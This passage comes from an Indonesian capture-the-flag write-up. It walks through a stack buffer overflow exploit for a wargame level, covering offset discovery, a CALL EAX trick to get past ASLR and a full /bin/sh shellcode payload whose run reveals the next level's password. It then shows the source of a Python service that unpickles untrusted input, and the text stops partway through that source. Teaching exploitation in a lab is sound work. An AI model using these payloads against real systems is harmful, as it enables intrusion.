Starting program: /levels/level04 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
warning: the debug information found in &quot;/lib/ld-2.11.1.so&quot; does not match &quot;/lib/ld-linux.so.2&quot; (CRC mismatch).
&nbsp;
&nbsp;
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()</pre></div></div>

<p style="text-align: justify;">
Source code dari aplikasi ini adalah:
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;string.h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
&nbsp;
<span style="color: #993333;">void</span> fun<span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span> <span style="color: #339933;">*</span>str<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  <span style="color: #993333;">char</span> buf<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
  strcpy<span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span> str<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">**</span>argv<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>argc <span style="color: #339933;">!=</span> <span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Usage: ./level04 STRING&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    exit<span style="color: #009900;">&#40;</span><span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
  fun<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Oh no! That didn't work!<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p style="text-align: justify;">
Buffer overflow bisa terjadi pada baris ke-8, bila fungsi strcpy() menyalin isi str yang panjangnya lebih besar dari 1024 ke dalam buf yang panjangnya terbatas hanya 1024.
</p>
<p style="text-align: justify;">
<a href="http://www.ilmuhacking.com/wp-content/uploads/2012/02/ctf7.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2012/02/ctf7.jpg" alt="" title="ctf7" width="578" height="318" class="aligncenter size-full wp-image-2981" /></a>
</p>
<p style="text-align: justify;">
Kita gunakan pattern_create dan pattern_offset dari metasploit untuk menentukan dimana posisi return address. Dengan pattern_offset berhasil diketahui bahwa posisi return address adalah pada byte ke-1036. Dengan mengetahui offset ini payload yang akan kita kirim komposisinya adalah:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">[1036 byte shellcode + lain2] + [4 byte return address]</pre></div></div>

<p style="text-align: justify;">
Setelah mengetahui offset, selanjutnya adalah menentukan kemana harus return? Kita harus menentukan return address agar shellcode kita tereksekusi. Kita lihat dulu, apakah ASLR diaktifkan di mesin ini?
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/02/ctf8.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2012/02/ctf8.jpg" alt="" title="ctf8" width="288" height="175" class="aligncenter size-full wp-image-2983" /></a></p>
<p style="text-align: justify;">
Ternyata alamat stack pointer berubah-ubah, artinya mesin ini mengaktifkan randomize_va_space atau ASLR. Ini akan menyulitkan kita menentukan return address, sehingga kita harus menggunakan teknik yang sama seperti di level sebelumnya, yaitu teknik CALL EAX.
</p>
<p style="text-align: justify;">
Kenapa harus CALL EAX ? Karena dari source code baris ke-8, terlihat ada fungsi strcpy(), jadi dijamin isi register EAX selalu berisi lokasi buf setelah fungsi strcpy() selesai dipanggil. Karena EAX berisi lokasi buf, dan buf akan kita isi dengan shellcode, maka CALL EAX = CALL buf = CALL shellcode.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ objdump -d /levels/level04|grep call |grep eax
 8048438:       ff 14 85 14 9f 04 08    call   *0x8049f14(,%eax,4)
 804847f:       ff d0                   call   *%eax
 804857b:       ff d0                   call   *%eax</pre></div></div>

<p style="text-align: justify;">
Dari objdump kita mendapatkan alamat yang mengandung instruksi call eax, yaitu 0x0804857b (saya ambil salah satu yang paling bawah). Alamat ini statik, tidak ikut berubah karena ASLR, jadi kita bisa pakai sebagai return address. Sama seperti level sebelumnya, kita memakai shellcode yang panjangnya 35 byte yang kita posisikan di awal buf.
</p>
<p style="text-align: justify;">
Karena shellcode dan byte lain-lain panjangnya 1036 byte, dipakai untuk shellcode 35 byte, masih ada sisa 1001 byte lagi. 1001 byte ini hanya sebagai filler, boleh diisi oleh byte apa saja, asalkan bukan null byte (\x00) karena null byte adalah penanda akhir sebuah string. Jadi kini payload kita menjadi:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">&quot;\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80&quot; + &quot;\x99&quot;x1001 + &quot;\x7b\x85\x04\x08&quot;</pre></div></div>

<p style="text-align: justify;">
Sekarang payload sudah siap, bisa langsung kita coba.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">level04@ctf5:/tmp/tmp.NGRBxhqLuX$ whoami
level04
level04@ctf5:/tmp/tmp.NGRBxhqLuX$ /levels/level04 $(perl -e 'print &quot;\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80&quot;.&quot;\x99&quot; x 1001 . &quot;\x7b\x85\x04\x08&quot;')
$ whoami
level05
$ cat /home/level05/.password
fzfDGnSmd317</pre></div></div>

<p><b>Level 05</b></p>
<p style="text-align: justify;">Oke sekarang kita lanjut ke level 05. Berikut adalah petunjuk level 05.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">Congratulations on making it to level 5! You're almost done!
&nbsp;
The password for the next (and final) level is in /home/level06/.password.
&nbsp;
As it turns out, level06 is running a public uppercasing service. You
 can POST data to it, and it'll uppercase the data for you:
&nbsp;
  curl localhost:9020 -d 'hello friend'
  {
      &quot;processing_time&quot;: 5.0067901611328125e-06,
      &quot;queue_time&quot;: 0.41274619102478027,
      &quot;result&quot;: &quot;HELLO FRIEND&quot;
  }
&nbsp;
You can view the source for this service in /levels/level05. As you
can see, the service is structured as a queue server and a queue
worker.
&nbsp;
Could it be that this seemingly innocuous service will be level06's
downfall?</pre></div></div>

<p style="text-align: justify;">
Source code aplikasi ini adalah:
</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">logging</span>
<span style="color: #ff7700;font-weight:bold;">import</span> json
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">optparse</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">os</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">pickle</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">random</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">re</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">string</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">time</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">traceback</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">urllib</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">BaseHTTPServer</span> <span style="color: #ff7700;font-weight:bold;">import</span> BaseHTTPRequestHandler, HTTPServer
&nbsp;
LOGGER_NAME = <span style="color: #483d8b;">'queue'</span>
logger = <span style="color: #dc143c;">logging</span>.<span style="color: black;">getLogger</span><span style="color: black;">&#40;</span>LOGGER_NAME<span style="color: black;">&#41;</span>
logger.<span style="color: black;">addHandler</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">logging</span>.<span style="color: black;">StreamHandler</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">stderr</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
TMPDIR = <span style="color: #483d8b;">'/tmp/level05'</span>
&nbsp;
&nbsp;
<span style="color: #ff7700;font-weight:bold;">class</span> Job<span style="color: black;">&#40;</span><span style="color: #008000;">object</span><span style="color: black;">&#41;</span>:
    QUEUE_JOBS = <span style="color: #dc143c;">os</span>.<span style="color: black;">path</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span>TMPDIR, <span style="color: #483d8b;">'jobs'</span><span style="color: black;">&#41;</span>
    QUEUE_RESULTS = <span style="color: #dc143c;">os</span>.<span style="color: black;">path</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span>TMPDIR, <span style="color: #483d8b;">'results'</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">def</span> <span style="color: #0000cd;">__init__</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
        <span style="color: #008000;">self</span>.<span style="color: #008000;">id</span> = <span style="color: #008000;">self</span>.<span style="color: black;">generate_id</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">created</span> = <span style="color: #dc143c;">time</span>.<span style="color: #dc143c;">time</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">started</span> = <span style="color: #008000;">None</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">completed</span> = <span style="color: #008000;">None</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">def</span> generate_id<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
        <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #483d8b;">''</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span><span style="color: black;">&#91;</span><span style="color: #dc143c;">random</span>.<span style="color: black;">choice</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">string</span>.<span style="color: black;">ascii_letters</span><span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">20</span><span style="color: black;">&#41;</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">def</span> job_file<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
        <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">path</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>.<span style="color: black;">QUEUE_JOBS</span>, <span style="color: #008000;">self</span>.<span style="color: #008000;">id</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">def</span> result_file<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
        <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">path</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>.<span style="color: black;">QUEUE_RESULTS</span>, <span style="color: #008000;">self</span>.<span style="color: #008000;">id</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">def</span> start<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
        <span style="color: #008000;">self</span>.<span style="color: black;">started</span> = <span style="color: #dc143c;">time</span>.<span style="color: #dc143c;">time</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">def</span> complete<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
        <span style="color: #008000;">self</span>.<span style="color: black;">completed</span> = <span style="color: #dc143c;">time</span>.<span style="color: #dc143c;">time</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
&nbsp;
<span style="color: #ff7700;font-weight:bold;">class</span> QueueUtils<span style="color: black;">&#40;</span><span style="color: #008000;">object</span><span style="color: black;">&#41;</span>:
    @<span style="color: #008000;">staticmethod</span>
    <span style="color: #ff7700;font-weight:bold;">def</span> deserialize<span style="color: black;">&#40;</span>serialized<span style="color: black;">&#41;</span>:
        logger.<span style="color: black;">debug</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Deserializing: %r'</span> <span style="color: #66cc66;">%</span> serialized<span style="color: black;">&#41;</span>
        <span style="color: #dc143c;">parser</span> = <span style="color: #dc143c;">re</span>.<span style="color: #008000;">compile</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'^type: (.*?); data: (.*?); job: (.*?)$'</span>, <span style="color: #dc143c;">re</span>.<span style="color: black;">DOTALL</span><span style="color: black;">&#41;</span>
        match = <span style="color: #dc143c;">parser</span>.<span style="color: black;">match</span><span style="color: black;">&#40;</span>serialized<span style="color: black;">&#41;</span>
        direction = match.<span style="color: black;">group</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>
        data = match.<span style="color: black;">group</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span>
        job = <span style="color: #dc143c;">pickle</span>.<span style="color: black;">loads</span><span style="color: black;">&#40;</span>match.<span style="color: black;">group</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">3</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">return</span> direction, data, job
&nbsp;
    @<span style="color: #008000;">staticmethod</span>
    <span style="color: #ff7700;font-weight:bold;">def</span> serialize<span style="color: black;">&#40;</span>direction, data, job<span style="color: black;">&#41;</span>:
        serialized = <span style="color: #483d8b;">&quot;&quot;&quot;type: %s; data: %s; job: %s&quot;&quot;&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>direction, data, <span style="color: #dc143c;">pickle</span>.<span style="color: black;">dumps</span><span style="color: black;">&#40;</span>job<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
        logger.<span style="color: black;">debug</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Serialized to: %r'</span> <span style="color: #66cc66;">%</span> serialized<span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">return</span> serialized
&nbsp;
    @<span style="color: #008000;">staticmethod</span>
    <span style="color: #ff7700;font-weight:bold;">def</span> enqueue<span style="color: black;">&#40;</span><span style="color: #008000;">type</span>, data, job<span style="color: black;">&#41;</span>:
        logger.<span style="color: black;">info</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Writing out %s data for job id %s'</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span><span style="color: #008000;">type</span>, job.<span style="color: #008000;">id</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">type</span> == <span style="color: #483d8b;">'JOB'</span>:
            <span style="color: #008000;">file</span> = job.<span style="color: black;">job_file</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">elif</span> <span style="color: #008000;">type</span> == <span style="color: #483d8b;">'RESULT'</span>:
            <span style="color: #008000;">file</span> = job.<span style="color: black;">result_file</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">else</span>:
            <span style="color: #ff7700;font-weight:bold;">raise</span> <span style="color: #008000;">ValueError</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Invalid type %s'</span> <span style="color: #66cc66;">%</span> <span style="color: #008000;">type</span><span style="color: black;">&#41;</span>
&nbsp;
        serialized = QueueUtils.<span style="color: black;">serialize</span><span style="color: black;">&#40;</span><span style="color: #008000;">type</span>, data, job<span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">with</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #008000;">file</span>, <span style="color: #483d8b;">'w'</span><span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">as</span> f:
            f.<span style="color: black;">write</span><span style="color: black;">&#40;</span>serialized<span style="color: black;">&#41;</span>
            f.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
&nbsp;
<span style="color: #ff7700;font-weight:bold;">class</span> QueueServer<span style="color: black;">&#40;</span><span style="color: #008000;">object</span><span style="color: black;">&#41;</span>:
    <span style="color: #808080; font-style: italic;"># Called in server</span>
    <span style="color: #ff7700;font-weight:bold;">def</span> run_job<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, data, job<span style="color: black;">&#41;</span>:
        QueueUtils.<span style="color: black;">enqueue</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'JOB'</span>, data, job<span style="color: black;">&#41;</span>
        result = <span style="color: #008000;">self</span>.<span style="color: black;">wait</span><span style="color: black;">&#40;</span>job<span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> result:
            result = <span style="color: black;">&#40;</span><span style="color: #008000;">None</span>, <span style="color: #483d8b;">'Job timed out'</span>, <span style="color: #008000;">None</span><span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">return</span> result
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">def</span> wait<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, job<span style="color: black;">&#41;</span>:
        job_complete = <span style="color: #008000;">False</span>
        <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">10</span><span style="color: black;">&#41;</span>:
            <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">path</span>.<span style="color: black;">exists</span><span style="color: black;">&#40;</span>job.<span style="color: black;">result_file</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>:
                logger.<span style="color: black;">debug</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Results file %s found'</span> <span style="color: #66cc66;">%</span> job.<span style="color: black;">result_file</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
                job_complete = <span style="color: #008000;">True</span>
                <span style="color: #ff7700;font-weight:bold;">break</span>
            <span style="color: #ff7700;font-weight:bold;">else</span>:
                logger.<span style="color: black;">debug</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Results file %s does not exist; sleeping'</span> <span style="color: #66cc66;">%</span> job.<span style="color: black;">result_file</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
                <span style="color: #dc143c;">time</span>.<span style="color: black;">sleep</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0.2</span><span style="color: black;">&#41;</span>
&nbsp;
        <span style="color: #ff7700;font-weight:bold;">if</span> job_complete:
            f = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span>job.<span style="color: black;">result_file</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
            result = f.<span style="color: black;">read</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
            <span style="color: #dc143c;">os</span>.<span style="color: black;">unlink</span><span style="color: black;">&#40;</span>job.<span style="color: black;">result_file</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
            <span style="color: #ff7700;font-weight:bold;">return</span> QueueUtils.<span style="color: black;">deserialize</span><span style="color: black;">&#40;</span>result<span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">else</span>:
            <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">None</span>
&nbsp;
&nbsp;
<span style="color: #ff7700;font-weight:bold;">class</span> QueueWorker<span style="color: black;">&#40;</span><span style="color: #008000;">object</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">def</span> <span style="color: #0000cd;">__init__</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
        <span style="color: #808080; font-style: italic;"># ensure tmp directories exist</span>
        <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">path</span>.<span style="color: black;">exists</span><span style="color: black;">&#40;</span>Job.<span style="color: black;">QUEUE_JOBS</span><span style="color: black;">&#41;</span>:
            <span style="color: #dc143c;">os</span>.<span style="color: black;">mkdir</span><span style="color: black;">&#40;</span>Job.<span style="color: black;">QUEUE_JOBS</span><span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">path</span>.<span style="color: black;">exists</span><span style="color: black;">&#40;</span>Job.<span style="color: black;">QUEUE_RESULTS</span><span style="color: black;">&#41;</span>:
            <span style="color: #dc143c;">os</span>.<span style="color: black;">mkdir</span><span style="color: black;">&#40;</span>Job.<span style="color: black;">QUEUE_RESULTS</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">def</span> poll<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
        <span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #008000;">True</span>:
            available_jobs = <span style="color: black;">&#91;</span><span style="color: #dc143c;">os</span>.<span style="color: black;">path</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span>Job.<span style="color: black;">QUEUE_JOBS</span>, job<span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">for</span> job <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">listdir</span><span style="color: black;">&#40;</span>Job.<span style="color: black;">QUEUE_JOBS</span><span style="color: black;">&#41;</span><span style="color: black;">&#93;</span>
            <span style="color: #ff7700;font-weight:bold;">for</span> job_file <span style="color: #ff7700;font-weight:bold;">in</span> available_jobs:
                <span style="color: #ff7700;font-weight:bold;">try</span>:
                    <span style="color: #008000;">self</span>.<span style="color: black;">process</span><span style="color: black;">&#40;</span>job_file<span style="color: black;">&#41;</span>
                <span style="color: #ff7700;font-weight:bold;">except</span> <span style="color: #008000;">Exception</span>, e:
                    logger.<span style="color: black;">error</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Error processing %s'</span> <span style="color: #66cc66;">%</span> job_file<span style="color: black;">&#41;</span>
                    <span style="color: #dc143c;">traceback</span>.<span style="color: black;">print_exc</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
                <span style="color: #ff7700;font-weight:bold;">else</span>:
                    logger.<span style="color: black;">debug</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Successfully processed %s'</span> <span style="color: #66cc66;">%</span> job_file<span style="color: black;">&#41;</span>
                <span style="color: #ff7700;font-weight:bold;">finally</span>:
                    <span style="color: #dc143c;">os</span>.<span style="color: black;">unlink</span><span style="color: black;">&#40;</span>job_file<span style="color: black;">&#41;</span>
            <span style="color: #ff7700;font-weight:bold;">if</span> available_jobs:
                logger.<span style="color: black;">info</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Processed %d available jobs'</span> <span style="color: #66cc66;">%</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>available_jobs<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
            <span style="color: #ff7700;font-weight:bold;">else</span>:
                <span style="color: #dc143c;">time</span>.<span style="color: black;">sleep</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">def</span> process<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, job_file<span style="color: black;">&#41;</span>:
        serialized = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span>job_file<span style="color: black;">&#41;</span>.<span style="color: black;">read</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">type</span>, data, job = QueueUtils.<span style="color: black;">deserialize</span><span style="color: black;">&#40;</span>serialized<span style="color: black;">&#41;</span>
&nbsp;
        job.<span style="color: black;">start</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
        result_data = <span style="color: #008000;">self</span>.<span style="color: black;">perform</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#41;</span>
        job.<span style="color: black;">complete</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
        QueueUtils.<span style="color: black;">enqueue</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'RESULT'</span>, result_data, job<span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">def</span> perform<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, data<span style="color: black;">&#41;</span>:
        <span style="color: #ff7700;font-weight:bold;">return</span> data.<span style="color: black;">upper</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
&nbsp;
<span style="color: #ff7700;font-weight:bold;">class</span> QueueHttpServer<span style="color: black;">&#40;</span>BaseHTTPRequestHandler<span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">def</span> do_GET<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
        <span style="color: #008000;">self</span>.<span style="color: black;">send_response</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">404</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">send_header</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Content-type'</span>,<span style="color: #483d8b;">'text/plain'</span><span style="color: black;">&#41;</span>
